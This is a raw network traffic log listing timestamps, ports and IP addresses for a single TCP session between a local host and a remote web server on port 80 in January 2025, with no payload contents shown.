Jan 10, 2025 18:26:36.783750057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.783785105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.783814907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.783838034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.783879042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.783893108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.783916950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.783951044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.783970118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.784589052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.784626961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.784656048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.784683943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.784718037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.784754992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.784775019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.784789085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.784797907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.784830093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.784881115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.785454035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.785521030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.785574913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.785587072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.785613060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.785646915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.785664082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.785684109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.785718918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.785732985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.786437035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.786478996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.786504984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.786515951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.786550999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.786565065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.786587954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.786621094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.786636114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.786658049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.786705971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.787208080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.787260056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.787297010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.787329912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.787357092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.787395000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.787429094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.787429094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.787467003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.787471056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.788090944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.788142920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.788145065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.788181067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.788223028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.788242102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.788259983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.788294077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.788311958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.788336039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.788441896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.788986921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.789025068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.789062023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.789079905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.789832115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.789866924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.789901018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.789906979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.789952040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.789952993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.789994001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.790028095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.790050030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.790066004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.790102959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.790127993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.792287111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.802442074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.825066090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.825083971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.825097084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.825112104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.825215101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.867425919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.867468119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.867521048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.867537022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.867574930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.867578983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.867634058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.867670059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.867677927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.867701054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.867733955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.867743015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.867770910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.867805004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.867829084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.867860079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.867894888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.867906094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.867929935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.867964983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.867969990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.868000984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.868033886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.868043900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.868071079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.868104935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.868117094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.868141890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.868196011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.870560884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.883411884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.913144112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913213015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913248062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913279057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.913283110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913321972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913348913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.913357973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913414001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.913459063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913475037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913497925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913532972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913539886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.913580894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.913590908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913626909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913666010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.913711071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913764954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913800955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913815022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.913853884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913883924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913897038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.913919926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913957119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.913964987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.913991928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914036989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.914047003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914083958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914120913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914135933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.914158106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914191961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914195061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.914238930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914278984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914284945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.914330959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914367914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914377928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.914402962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914458036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914478064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.914493084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914536953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.914546967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914582014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914618969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914627075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.914673090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914709091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914711952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.914745092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914781094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914797068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.914815903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914850950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914864063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.914891005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914932966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914942980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.914947033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914963007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.914984941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.915020943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.915066957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.915074110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.915107965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.915143967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.915152073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.915178061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.915214062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.915230989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.915255070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.915290117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.915303946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.920243979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920277119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920319080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.920340061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920386076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.920393944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920442104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920458078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920471907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920484066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920489073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.920495987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920517921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920551062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920553923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.920588017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920598030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.920639038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920653105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920660019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.920665979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920681000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.920707941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.920715094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920774937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920811892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920814991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.920846939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920886993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.920902967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.920964956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921001911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921006918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.921055079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921089888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921102047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.921123981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921174049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.921180010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921233892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921269894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921278954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.921322107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921365976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.921376944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921411991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921456099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.921466112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921500921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921536922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921550035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.921576023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921612024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921624899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.921647072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921683073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921690941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.921701908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921736956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921747923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.921772957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921808958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921822071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.921845913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921883106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921885967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.921921968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921933889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.921953917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.921968937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.922004938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.922012091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.922044992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.922101021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.959922075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.960417032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.960459948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.960516930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.960552931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.960567951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.960608959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.960614920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.960669041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.960719109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.960722923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.960760117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.960794926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.960824966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.960832119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.960867882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.960886955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.960901976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.960937023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.960953951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.960973024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.961008072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.961023092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.961049080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.961090088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.000011921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000067949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000097036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000123024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000149012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000165939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.000190973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000205040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.000232935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000236034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.000261068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000288010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000297070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.000310898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000335932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000353098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.000364065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000381947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000399113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.000401020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000439882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.000624895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000677109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000693083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000739098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.000775099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000787973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000811100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000812054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.000825882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000840902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000853062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.000854969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000869989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000888109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.000905037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.000907898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000921965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000933886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000946999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000960112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000967979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.000976086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.000992060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001003027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001003981 CET	49730	80	192.168.2.4	193.143.1.205
